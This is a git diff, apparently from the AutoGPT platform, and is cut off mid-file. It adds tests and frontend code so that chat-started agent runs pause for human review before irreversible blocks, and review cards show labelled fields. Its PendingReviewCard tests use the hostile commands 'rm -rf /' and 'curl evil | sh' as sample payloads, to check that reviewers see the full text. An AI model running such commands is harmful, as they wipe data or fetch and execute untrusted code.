{}mock_graph_exec.organization_id = "org-row"+ mock_graph_exec.trigger_source = Nonemock_graph_exec.expert_id = Nonemock_graph_exec.team_id = "team-row"@@ -2137,6 +2138,8 @@ def _mock_add_graph_execution_requeue_path(graph_exec.expert_id = expert_idgraph_exec.organization_id = organization_idgraph_exec.team_id = team_id+ graph_exec.trigger_source = None+ graph_exec.trigger_ref = Nonecaptured: dict = {}@@ -2945,3 +2948,175 @@ async def test_approved_or_hitl_review_resumes(mocker: MockerFixture, decision):ExecutionStatus.QUEUED)queue.publish_message.assert_awaited_once()+++# ============================================================================+# A run started from an attended chat pauses before irreversible blocks,+# whatever the graph's own sensitive_action_safe_mode setting says.+# ============================================================================++[email protected]("pause", [True, False])+async def test_pause_override_parks_a_marked_block_with_library_setting_off(+ mocker: MockerFixture, pause: bool+):+ from backend.blocks.email_block import SendEmailBlock+ from backend.blocks.helpers.review import HITLReviewHelper++ mock_edb, _ = _mock_add_graph_execution_create_path(mocker)+ graph_exec = mock_edb.create_graph_execution.return_value++ await add_graph_execution(+ graph_id="g", user_id="u", pause_irreversible_actions=pause+ )++ context = graph_exec.to_graph_execution_entry.call_args.kwargs["execution_context"]+ assert context.sensitive_action_safe_mode is pause++ park = mocker.patch.object(+ HITLReviewHelper,+ "handle_review_decision",+ new=mocker.AsyncMock(return_value=None),+ )+ block = SendEmailBlock()+ assert block.is_irreversible_action+ should_pause, _ = await block.is_block_exec_need_review(+ {"to_email": "[email protected]"},+ user_id="u",+ node_id="n",+ node_exec_id="ne",+ graph_exec_id="exec-id",+ graph_id="g",+ graph_version=1,+ execution_context=context,+ )+ assert should_pause is pause+ assert park.await_count == int(pause)+++ "origin, expected",+ [("interactive", True), (None, True), ("automation", False)],+)+async def test_resume_of_a_chat_started_run_keeps_the_pause(+ mocker: MockerFixture, origin, expected: bool+):+ from backend.copilot.model import ChatSessionMetadata+ from backend.data.execution import ExecutionContext++ graph_exec, _, _, captured = _mock_add_graph_execution_requeue_path(+ mocker, expert_id=None, organization_id="org", team_id="team"+ )+ graph_exec.trigger_source = ExecutionTrigger.COPILOT.value+ graph_exec.trigger_ref = "session-1"+ chat_store = mocker.MagicMock()+ chat_store.get_chat_session_metadata = mocker.AsyncMock(+ return_value=mocker.MagicMock(metadata=ChatSessionMetadata(origin=origin))+ )+ mocker.patch("backend.executor.utils.chat_db", return_value=chat_store)++ # The review-resume route rebuilds its context from the graph settings.+ await add_graph_execution(+ graph_id="g",+ user_id="u",+ graph_exec_id="existing-execution",+ execution_context=ExecutionContext(sensitive_action_safe_mode=False),+ )++ chat_store.get_chat_session_metadata.assert_awaited_once_with("session-1")+ assert captured["execution_context"].sensitive_action_safe_mode is expected+++async def test_resume_of_a_subgraph_follows_the_chat_of_the_run_that_nested_it(+ mocker: MockerFixture,+):+ from backend.copilot.model import ChatSessionMetadata++ graph_exec, execution_store, _, captured = _mock_add_graph_execution_requeue_path(+ mocker, expert_id=None, organization_id="org", team_id="team"+ )+ graph_exec.trigger_source = ExecutionTrigger.SUBGRAPH.value+ graph_exec.trigger_ref = "parent-exec"+ execution_store.get_graph_execution_meta = mocker.AsyncMock(+ return_value=mocker.MagicMock(+ trigger_source=ExecutionTrigger.COPILOT.value, trigger_ref="session-1"+ )+ )+ chat_store = mocker.MagicMock()+ chat_store.get_chat_session_metadata = mocker.AsyncMock(+ return_value=mocker.MagicMock(+ metadata=ChatSessionMetadata(origin="interactive")+ )+ )+ mocker.patch("backend.executor.utils.chat_db", return_value=chat_store)++ await add_graph_execution(+ graph_id="g", user_id="u", graph_exec_id="existing-execution"+ )++ execution_store.get_graph_execution_meta.assert_awaited_once_with(+ user_id="u", execution_id="parent-exec"+ )+ assert captured["execution_context"].sensitive_action_safe_mode is True++[email protected]("gone", ["chat", "parent"])+async def test_resume_pauses_when_the_originating_chat_or_parent_is_gone(+ mocker: MockerFixture, gone: str+):+ graph_exec, execution_store, _, captured = _mock_add_graph_execution_requeue_path(+ mocker, expert_id=None, organization_id="org", team_id="team"+ )+ if gone == "chat":+ graph_exec.trigger_source = ExecutionTrigger.COPILOT.value+ graph_exec.trigger_ref = "deleted-session"+ else:+ graph_exec.trigger_source = ExecutionTrigger.SUBGRAPH.value+ graph_exec.trigger_ref = "deleted-parent"+ execution_store.get_graph_execution_meta = mocker.AsyncMock(return_value=None)+ chat_store = mocker.MagicMock()+ chat_store.get_chat_session_metadata = mocker.AsyncMock(return_value=None)+ mocker.patch("backend.executor.utils.chat_db", return_value=chat_store)++ await add_graph_execution(+ graph_id="g", user_id="u", graph_exec_id="existing-execution"+ )++ assert captured["execution_context"].sensitive_action_safe_mode is True+++async def test_subgraph_inherits_the_pause_through_its_context(+ mocker: MockerFixture,+):+ from backend.blocks.agent import AgentExecutorBlock+ from backend.data.execution import ExecutionContext++ add = mocker.patch(+ "backend.executor.utils.add_graph_execution",+ new=mocker.AsyncMock(side_effect=RuntimeError("stop after the call")),+ )+ block = AgentExecutorBlock()+ parent_context = ExecutionContext(sensitive_action_safe_mode=True)+ with pytest.raises(RuntimeError, match="stop after the call"):+ async for _ in block.run(+ block.input_schema(+ user_id="u",+ graph_id="child",+ graph_version=1,+ agent_name="child",+ input_schema={},+ output_schema={},+ inputs={},+ ),+ graph_exec_id="parent-exec",+ execution_context=parent_context,+ ):+ pass++ child_context = add.await_args.kwargs["execution_context"]+ assert child_context.sensitive_action_safe_mode is Truediff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/__tests__/expert-threads.test.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/__tests__/expert-threads.test.tsxindex 354a5cac3b..63f9f5539a 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/__tests__/expert-threads.test.tsx+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/__tests__/expert-threads.test.tsx@@ -150,6 +150,7 @@ vi.mock(}),);vi.mock("../components/ChatMessagesContainer/helpers", () => ({+ extractReviewTarget: () => null,getLatestCompactionPhase: () => null,getTurnMessages: () => [],isChainableToolPart: () => false,diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsxindex fb890ad41d..78ceb2d9a8 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx@@ -22,6 +22,7 @@ import { CopilotPendingReviews } from "../CopilotPendingReviews/CopilotPendingReimport type { TurnStatsMap } from "../../helpers/convertChatSessionToUiMessages";import { hideKickoffMessages } from "../../expertKickoff";import {+ extractReviewTarget,getLastCompactionCallId,getLatestCompactionPhase,getLatestCompactionStats,@@ -148,52 +149,6 @@ interface Props {showThreadHeader?: boolean;}-type ReviewTarget = { kind: "chat" } | { kind: "graph"; graphExecId: string };--/**- * Which review queue the latest tool output that needs review belongs to:- * the chat's own (a `review_required` output) or an agent run's (run_agent- * with status "REVIEW").- */-function extractReviewTarget(- messages: UIMessage<unknown, UIDataTypes, UITools>[],-): ReviewTarget | null {- // Scan backwards — the most recent review output decides- for (let i = messages.length - 1; i >= 0; i--) {- const msg = messages[i];- for (const part of msg.parts) {- if ("output" in part && part.output) {- const out =- typeof part.output === "string"- ? (() => {- try {- return JSON.parse(part.output);- } catch {- return null;- }- })()- : part.output;- if (out && typeof out === "object") {- if ((out as { type?: unknown }).type === "review_required") {- return { kind: "chat" };- }- if (- "execution_id" in out &&- "status" in out &&- (out as { status: string }).status === "REVIEW"- ) {- return {- kind: "graph",- graphExecId: (out as { execution_id: string }).execution_id,- };- }- }- }- }- }- return null;-}-// Max consecutive auto-triggered loads where the container remains// non-scrollable afterwards. Prevents chewing through history on// sessions whose every page collapses below viewport height. The@@ -866,7 +821,10 @@ export function ChatMessagesContainer({</Message>)}{!readOnly && reviewTarget?.kind === "graph" && (- <CopilotPendingReviews graphExecId={reviewTarget.graphExecId} />+ <CopilotPendingReviews+ graphExecId={reviewTarget.graphExecId}+ graphId={reviewTarget.graphId}+ />)}{!readOnly && reviewTarget?.kind === "chat" && sessionID && (<CopilotPendingReviews chatSessionId={sessionID} />diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/ChatMessagesContainer.test.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/ChatMessagesContainer.test.tsxindex eaf6e1a5bf..6822ef4ea6 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/ChatMessagesContainer.test.tsx+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/ChatMessagesContainer.test.tsx@@ -136,7 +136,9 @@ vi.mock("../../CopilotPendingReviews/CopilotPendingReviews", () => ({),}));// Tests below override this default by re-mocking ../helpers as needed.-vi.mock("../helpers", () => ({+vi.mock("../helpers", async (importOriginal) => ({+ extractReviewTarget: (await importOriginal<typeof import("../helpers")>())+ .extractReviewTarget,getLatestCompactionPhase: () => null,getTurnMessages: () => [],isChainableToolPart: () => false,diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/helpers.test.ts b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/helpers.test.tsindex e1a6ec35ef..f9922ce6f7 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/helpers.test.ts+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/__tests__/helpers.test.ts@@ -1,6 +1,7 @@import { describe, expect, it } from "vitest";import {WORKSPACE_FILE_PATTERN,+ extractReviewTarget,extractWorkspaceArtifacts,filePartToArtifactRef,getLatestCompactionPhase,@@ -469,3 +470,65 @@ describe("getLatestCompactionStats", () => {expect(getLatestCompactionStats(parts)).toEqual({});});});++describe("extractReviewTarget", () => {+ function toolOutput(output: unknown) {+ return {+ id: `m-${Math.random()}`,+ role: "assistant",+ parts: [+ {+ type: "tool-run_agent",+ toolCallId: "c1",+ state: "output-available",+ input: {},+ output,+ },+ ],+ } as unknown as UIMessage<unknown, UIDataTypes, UITools>;+ }++ it("returns a run still in flight with its graph, so a later pause shows in the chat", () => {+ expect(+ extractReviewTarget([+ toolOutput({+ execution_id: "exec-running",+ graph_id: "graph-1",+ status: "RUNNING",+ }),+ ]),+ ).toEqual({+ kind: "graph",+ graphExecId: "exec-running",+ graphId: "graph-1",+ });+ });++ it("ignores a run that already finished", () => {+ expect(+ extractReviewTarget([+ toolOutput({ execution_id: "exec-done", status: "COMPLETED" }),+ ]),+ ).toBeNull();+ });++ it("prefers a newer in-flight run over an earlier run that paused", () => {+ expect(+ extractReviewTarget([+ toolOutput({ execution_id: "exec-a", status: "REVIEW" }),+ toolOutput(+ JSON.stringify({ execution_id: "exec-b", status: "QUEUED" }),+ ),+ ]),+ ).toMatchObject({ kind: "graph", graphExecId: "exec-b" });+ });++ it("prefers a newer in-flight run over an earlier block review", () => {+ expect(+ extractReviewTarget([+ toolOutput({ type: "review_required", review_id: "r1" }),+ toolOutput({ execution_id: "exec-b", status: "QUEUED" }),+ ]),+ ).toMatchObject({ kind: "graph", graphExecId: "exec-b" });+ });+});diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/helpers.ts b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/helpers.tsindex 320b036274..2ece2e2f42 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/helpers.ts+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/helpers.ts@@ -427,3 +427,62 @@ export function resolveWorkspaceUrls(return resolved;}++export type ReviewTarget =+ | { kind: "chat" }+ /** graphId is set for a run_agent run, so its status can say when to stop polling. */+ | { kind: "graph"; graphExecId: string; graphId?: string };++/**+ * The newest tool output that can have pending reviews for the chat to show:+ * a run_block ReviewRequiredResponse, or a run_agent ExecutionStartedResponse+ * that paused or had not finished when the tool returned (a run AutoPilot+ * starts can pause at an irreversible block after it started).+ */+export function extractReviewTarget(+ messages: UIMessage<unknown, UIDataTypes, UITools>[],+): ReviewTarget | null {+ for (let i = messages.length - 1; i >= 0; i--) {+ const parts = messages[i].parts;+ for (let j = parts.length - 1; j >= 0; j--) {+ const part = parts[j];+ if (!("output" in part) || !part.output) continue;+ const out =+ typeof part.output === "string"+ ? (() => {+ try {+ return JSON.parse(part.output);+ } catch {+ return null;+ }+ })()+ : part.output;+ if (!out || typeof out !== "object") continue;+ if ((out as { type?: unknown }).type === "review_required") {+ return { kind: "chat" };+ }+ if ("execution_id" in out && "status" in out) {+ const { execution_id, status, graph_id } = out as {+ execution_id: string;+ status: string;+ graph_id?: string;+ };+ if (REVIEWABLE_STATUSES.has(status)) {+ return {+ kind: "graph",+ graphExecId: execution_id,+ graphId: graph_id,+ };+ }+ }+ }+ }+ return null;+}++const REVIEWABLE_STATUSES = new Set([+ "REVIEW",+ "QUEUED",+ "RUNNING",+ "INCOMPLETE",+]);diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/CopilotPendingReviews.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/CopilotPendingReviews.tsxindex 5525b1a1b2..cfce52c5b0 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/CopilotPendingReviews.tsx+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/CopilotPendingReviews.tsx@@ -3,15 +3,12 @@import { useCallback } from "react";import { PendingReviewsList } from "@/components/organisms/PendingReviewsList/PendingReviewsList";import { useCopilotChatActions } from "../CopilotChatActionsProvider/useCopilotChatActions";-import {- usePendingReviewsForExecution,- usePendingReviewsForChatSession,-} from "@/hooks/usePendingReviews";import { okData } from "@/app/api/helpers";+import { useCopilotPendingReviews } from "./useCopilotPendingReviews";-type Props = { graphExecId: string } | { chatSessionId: string };--const POLL = { refetchInterval: 2000 };+type Props =+ | { graphExecId: string; graphId?: string }+ | { chatSessionId: string };/*** Renders a single consolidated PendingReviewsList for the chat's own reviews@@ -21,16 +18,7 @@ const POLL = { refetchInterval: 2000 };export function CopilotPendingReviews(props: Props) {const { onSend } = useCopilotChatActions();const graphExecId = "graphExecId" in props ? props.graphExecId : "";- const chatSessionId = "chatSessionId" in props ? props.chatSessionId : "";- const forRun = usePendingReviewsForExecution(graphExecId, {- ...POLL,- enabled: !!graphExecId,- });- const forChat = usePendingReviewsForChatSession(chatSessionId, {- ...POLL,- enabled: !!chatSessionId,- });- const { pendingReviews, refetch } = graphExecId ? forRun : forChat;+ const { pendingReviews, refetch } = useCopilotPendingReviews(props);const handleReviewComplete = useCallback(async () => {// Brief delay for the server to propagate the approvaldiff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/CopilotPendingReviews.test.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/CopilotPendingReviews.test.tsxindex a3a65e1ff7..3718af2996 100644--- a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/CopilotPendingReviews.test.tsx+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/CopilotPendingReviews.test.tsx@@ -60,7 +60,9 @@ test("a chat's queue is read from the chat, and the resume is AutoPilot's", asynrender(<CopilotPendingReviews chatSessionId="chat-1" />);- expect(await screen.findByText("Create Folder")).toBeDefined();+ expect((await screen.findAllByText("Create Folder")).length).toBeGreaterThan(+ 0,+ );expect(screen.queryByText("Not this chat's review")).toBeNull();await userEvent.click(screen.getAllByRole("button", { name: /^Approve/ })[0]);@@ -89,6 +91,6 @@ test("an agent run's queue is read from its execution", async () => {render(<CopilotPendingReviews graphExecId="exec-9" />);- expect(await screen.findByText("Send Email")).toBeDefined();+ expect((await screen.findAllByText("Send Email")).length).toBeGreaterThan(0);expect(screen.queryByText("Not the run's review")).toBeNull();});diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/useCopilotPendingReviews.test.tsx b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/useCopilotPendingReviews.test.tsxnew file mode 100644index 0000000000..a6c6cb5b18--- /dev/null+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/__tests__/useCopilotPendingReviews.test.tsx@@ -0,0 +1,133 @@+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";+import { renderHook, waitFor } from "@testing-library/react";+import { http, HttpResponse } from "msw";+import type { ReactNode } from "react";+import { describe, expect, test } from "vitest";+import { server } from "@/mocks/mock-server";+import { useCopilotPendingReviews } from "../useCopilotPendingReviews";++function countRequests(status: string) {+ const calls = { execution: 0, reviews: 0 };+ server.use(+ http.get("*/api/graphs/graph-1/executions/exec-1", () => {+ calls.execution++;+ return HttpResponse.json({ id: "exec-1", graph_id: "graph-1", status });+ }),+ http.get("*/api/review/execution/exec-1", () => {+ calls.reviews++;+ return HttpResponse.json([]);+ }),+ );+ return calls;+}++function wrapper({ children }: { children: ReactNode }) {+ const client = new QueryClient({+ defaultOptions: { queries: { retry: false } },+ });+ return <QueryClientProvider client={client}>{children}</QueryClientProvider>;+}++function sleep(ms: number) {+ return new Promise((resolve) => setTimeout(resolve, ms));+}++describe("useCopilotPendingReviews", () => {+ test("stops polling once the run has finished", async () => {+ const calls = countRequests("COMPLETED");+ renderHook(+ () =>+ useCopilotPendingReviews({ graphExecId: "exec-1", graphId: "graph-1" }),+ { wrapper },+ );+ await waitFor(() => expect(calls.reviews).toBeGreaterThan(0));+ const settled = { ...calls };++ await sleep(4500);++ expect(calls).toEqual(settled);+ }, 10_000);++ test("polls a run that has not paused yet slowly", async () => {+ const calls = countRequests("RUNNING");+ renderHook(+ () =>+ useCopilotPendingReviews({ graphExecId: "exec-1", graphId: "graph-1" }),+ { wrapper },+ );+ await waitFor(() => expect(calls.execution).toBeGreaterThan(0));+ const settled = calls.execution;++ await sleep(4000);++ expect(calls.execution).toBe(settled);+ }, 10_000);++ test("still polls the reviews when the run's status cannot be read", async () => {+ const calls = { reviews: 0 };+ server.use(+ http.get("*/api/graphs/graph-1/executions/exec-1", () =>+ HttpResponse.json({ detail: "down" }, { status: 500 }),+ ),+ http.get("*/api/review/execution/exec-1", () => {+ calls.reviews++;+ return HttpResponse.json([]);+ }),+ );+ renderHook(+ () =>+ useCopilotPendingReviews({ graphExecId: "exec-1", graphId: "graph-1" }),+ { wrapper },+ );++ await waitFor(() => expect(calls.reviews).toBeGreaterThan(1), {+ timeout: 8000,+ });+ }, 10_000);++ test("a chat's queue is polled from the chat, never from a run", async () => {+ const calls = { chat: 0, execution: 0, runReviews: 0 };+ server.use(+ http.get("*/api/review/session/chat-1", () => {+ calls.chat++;+ return HttpResponse.json([{ node_exec_id: "chat-review" }]);+ }),+ http.get("*/api/graphs/*", () => {+ calls.execution++;+ return HttpResponse.json({});+ }),+ http.get("*/api/review/execution/*", () => {+ calls.runReviews++;+ return HttpResponse.json([]);+ }),+ );+ const { result } = renderHook(+ () => useCopilotPendingReviews({ chatSessionId: "chat-1" }),+ { wrapper },+ );++ await waitFor(() => expect(calls.chat).toBeGreaterThan(1), {+ timeout: 5000,+ });+ expect(result.current.pendingReviews).toEqual([+ { node_exec_id: "chat-review" },+ ]);+ expect(calls.execution).toBe(0);+ expect(calls.runReviews).toBe(0);+ }, 10_000);++ test("keeps polling reviews while the run is paused for one", async () => {+ const calls = countRequests("REVIEW");+ renderHook(+ () =>+ useCopilotPendingReviews({ graphExecId: "exec-1", graphId: "graph-1" }),+ { wrapper },+ );+ await waitFor(() => expect(calls.reviews).toBeGreaterThan(0));+ const settled = calls.reviews;++ await sleep(4500);++ expect(calls.reviews).toBeGreaterThan(settled);+ }, 10_000);+});diff --git a/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/useCopilotPendingReviews.ts b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/useCopilotPendingReviews.tsnew file mode 100644index 0000000000..cd678e2f99--- /dev/null+++ b/autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotPendingReviews/useCopilotPendingReviews.ts@@ -0,0 +1,82 @@+import { useEffect } from "react";+import { useGetV1GetExecutionDetails } from "@/app/api/__generated__/endpoints/graphs/graphs";+import { AgentExecutionStatus } from "@/app/api/__generated__/models/agentExecutionStatus";+import { okData } from "@/app/api/helpers";+import {+ usePendingReviewsForChatSession,+ usePendingReviewsForExecution,+} from "@/hooks/usePendingReviews";++// A run the chat started, or the chat's own queue.+interface Args {+ graphExecId?: string;+ graphId?: string;+ chatSessionId?: string;+}++const POLL_MS = 2000;+// A run can go minutes before it pauses, so poll it slowly until it does.+const PRE_REVIEW_POLL_MS = 5000;++export function useCopilotPendingReviews({+ graphExecId = "",+ graphId,+ chatSessionId = "",+}: Args) {+ const isRun = !!graphId;+ // A run's chat message never changes, so its live status decides polling.+ const { data: execution, isFetched } = useGetV1GetExecutionDetails(+ graphId ?? "",+ graphExecId,+ {+ query: {+ enabled: isRun,+ select: okData,+ refetchInterval: (q) =>+ q.state.status === "error"+ ? PRE_REVIEW_POLL_MS+ : pollInterval(readStatus(q.state.data)),+ },+ },+ );+ const status = execution?.status;+ // Without the run's status, the reviews themselves are the only signal.+ const statusUnavailable = isRun && isFetched && !status;++ const forChat = usePendingReviewsForChatSession(chatSessionId, {+ enabled: !!chatSessionId,+ refetchInterval: POLL_MS,+ });+ const forRun = usePendingReviewsForExecution(graphExecId, {+ enabled: !!graphExecId && (!isRun || !!status || statusUnavailable),+ refetchInterval:+ !isRun || status === AgentExecutionStatus.REVIEW+ ? POLL_MS+ : statusUnavailable+ ? PRE_REVIEW_POLL_MS+ : false,+ });+ const { pendingReviews, refetch } = chatSessionId ? forChat : forRun;++ useEffect(() => {+ if (status) refetch();+ }, [status, refetch]);++ return { pendingReviews, refetch };+}++function readStatus(raw: unknown) {+ const response = raw as { status?: number; data?: { status?: string } };+ return response?.status === 200 ? response.data?.status : undefined;+}++function pollInterval(status: string | undefined) {+ if (status === AgentExecutionStatus.REVIEW) return POLL_MS;+ if (+ status === AgentExecutionStatus.QUEUED ||+ status === AgentExecutionStatus.RUNNING ||+ status === AgentExecutionStatus.INCOMPLETE+ )+ return PRE_REVIEW_POLL_MS;+ return false;+}diff --git a/autogpt_platform/frontend/src/app/api/openapi.json b/autogpt_platform/frontend/src/app/api/openapi.jsonindex 952ec72ad1..b5f7a25559 100644--- a/autogpt_platform/frontend/src/app/api/openapi.json+++ b/autogpt_platform/frontend/src/app/api/openapi.json@@ -26678,6 +26678,16 @@"title": "Agent Name","description": "Display name of the agent that requested the review"},+ "block_id": {+ "anyOf": [{ "type": "string" }, { "type": "null" }],+ "title": "Block Id",+ "description": "The block awaiting approval, when a block asked"+ },+ "action": {+ "anyOf": [{ "type": "string" }, { "type": "null" }],+ "title": "Action",+ "description": "What that block does, e.g. 'Send Discord Message'"+ },"library_agent_id": {"anyOf": [{ "type": "string" }, { "type": "null" }],"title": "Library Agent Id",diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsxindex 5d67f26979..7a45b68615 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/PendingReviewCard.tsx@@ -3,6 +3,9 @@ import { Text } from "@/components/atoms/Text/Text";import { Input } from "@/components/atoms/Input/Input";import { Switch } from "@/components/atoms/Switch/Switch";import { useEffect, useState } from "react";+import { ReviewInputFields } from "./components/ReviewInputFields/ReviewInputFields";+import { reviewFields } from "./components/ReviewInputFields/helpers";+import { useReviewBlockSchema } from "./components/ReviewInputFields/useReviewBlockSchema";type ReviewPayload = PendingHumanReviewModel["payload"];@@ -27,13 +30,12 @@ export function PendingReviewCard({}: PendingReviewCardProps) {const isDataEditable = review.editable;- let instructions = review.instructions;-- const isHITLBlock = instructions && !instructions.includes("Block");-- if (instructions && !isHITLBlock) {- instructions = undefined;- }+ // A block's review names the block in `action`; a human-in-the-loop block's+ // instructions are the author's own words, shown above its data.+ const instructions = review.action ? undefined : review.instructions;+ const { schema, isLoading: isSchemaLoading } = useReviewBlockSchema(+ review.block_id,+ );// Render the payload as stored: it is exactly what the reviewer's decision// sends back as the block's input, so unwrapping any key here would show@@ -54,6 +56,18 @@ export function PendingReviewCard({onReviewDataChange(review.node_exec_id, JSON.stringify(newValue, null, 2));}+ const renderFields = (readOnly: boolean) => {+ if (!isPlainObject(currentData) || isSchemaLoading) return null;+ return (+ <ReviewInputFields+ fields={reviewFields(currentData, schema)}+ values={currentData}+ onChange={(values) => handleDataChange(values as ReviewPayload)}+ readOnly={readOnly}+ />+ );+ };+const renderDataInput = () => {const data = currentData;@@ -140,7 +154,9 @@ export function PendingReviewCard({</Text>)}- {isDataEditable && !autoApproveFuture ? (+ {isPlainObject(currentData) ? (+ renderFields(!isDataEditable || autoApproveFuture)+ ) : isDataEditable && !autoApproveFuture ? (renderDataInput()) : (<div className="rounded-lg border border-gray-200 bg-white p-3">@@ -176,3 +192,7 @@ export function PendingReviewCard({</div>);}++function isPlainObject(value: unknown): value is Record<string, unknown> {+ return typeof value === "object" && value !== null && !Array.isArray(value);+}diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsxindex 727ec67a4b..0f3e1c3b1b 100644--- a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx+++ b/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx@@ -1,6 +1,8 @@import { fireEvent } from "@testing-library/react";+import { http, HttpResponse } from "msw";import { expect, test, vi } from "vitest";import type { PendingHumanReviewModel } from "@/app/api/__generated__/models/pendingHumanReviewModel";+import { server } from "@/mocks/mock-server";import { render, screen } from "@/tests/integrations/test-utils";import { PendingReviewCard } from "../PendingReviewCard";@@ -35,12 +37,11 @@ test("renders every key of a payload that carries a top-level data key", () => {/>,);- const value = (screen.getByRole("textbox") as HTMLTextAreaElement).value;- expect(value).toContain("rm -rf /");- expect(value).toContain("tidy up temp files");+ expect(screen.getByDisplayValue("rm -rf /")).toBeDefined();+ expect(screen.getByDisplayValue("tidy up temp files")).toBeDefined();});-test("renders a bare payload unchanged", () => {+test("labels each input of a payload instead of printing JSON", () => {render(<PendingReviewCardreview={makeReview({ payload: { to: "[email protected]", subject: "Invoice" } })}@@ -48,12 +49,13 @@ test("renders a bare payload unchanged", () => {/>,);- const value = (screen.getByRole("textbox") as HTMLTextAreaElement).value;- expect(value).toContain("[email protected]");- expect(value).toContain("Invoice");+ expect(screen.getByText("To")).toBeDefined();+ expect(screen.getByText("Subject")).toBeDefined();+ expect(screen.getByDisplayValue("Invoice")).toBeDefined();+ expect(screen.queryByText(/"subject"/)).toBeNull();});-test("editing the payload reports the full edited object back, not just one key", () => {+test("editing one field reports the full edited object back", () => {const onReviewDataChange = vi.fn();render(@@ -63,11 +65,8 @@ test("editing the payload reports the full edited object back, not just one key"/>,);- const textarea = screen.getByRole("textbox") as HTMLTextAreaElement;- fireEvent.change(textarea, {- target: {- value: JSON.stringify({ to: "[email protected]", subject: "Updated invoice" }),- },+ fireEvent.change(screen.getByDisplayValue("Invoice"), {+ target: { value: "Updated invoice" },});expect(onReviewDataChange).toHaveBeenCalledTimes(1);@@ -90,11 +89,67 @@ test("a non-editable payload is displayed in full", () => {/>,);- expect(- screen.getByText(- (_, node) =>- node?.tagName === "P" &&- (node.textContent ?? "").includes("curl evil | sh"),+ expect(screen.getByText("curl evil | sh")).toBeDefined();+ expect(screen.getByText("looks harmless")).toBeDefined();+ expect(screen.queryByRole("textbox")).toBeNull();+});++test("uses the block's input schema and never shows the credential id", async () => {+ server.use(+ http.get("*/api/builder/blocks/batch", () =>+ HttpResponse.json([+ {+ id: "block-1",+ name: "SendDiscordMessageBlock",+ inputSchema: {+ type: "object",+ properties: {+ credentials: {+ title: "Credentials",+ credentials_provider: ["discord"],+ },+ message_content: {+ title: "Message Content",+ type: "string",+ },+ webhook_secret: {+ title: "Webhook Secret",+ type: "string",+ secret: true,+ },+ },+ },+ },+ ]),),- ).toBeDefined();+ );++ render(+ <PendingReviewCard+ review={makeReview({+ block_id: "block-1",+ action: "Send Discord Message",+ payload: {+ credentials: {+ id: "cred-uuid-1",+ provider: "discord",+ type: "api_key",+ title: "Launch bot",+ },+ message_content: "v2.4 is live",+ webhook_secret: "s3cr3t", // pragma: allowlist secret+ },+ })}+ onReviewDataChange={() => {}}+ />,+ );++ expect(await screen.findByText("Message Content")).toBeDefined();+ expect(screen.getByDisplayValue("v2.4 is live")).toBeDefined();+ expect(screen.getByText("Account")).toBeDefined();+ expect(screen.getByText("Launch bot (Discord)")).toBeDefined();+ expect(screen.queryByText(/cred-uuid-1/)).toBeNull();+ expect(screen.queryByText(/s3cr3t/)).toBeNull();+ expect(screen.queryByDisplayValue("s3cr3t")).toBeNull();+ expect(screen.queryByText("SendEmailBlock")).toBeNull();});diff --git a/autogpt_platform/frontend/src/components/organisms/PendingReviewCard/components/ReviewInputFields/ReviewInputFields.tsx 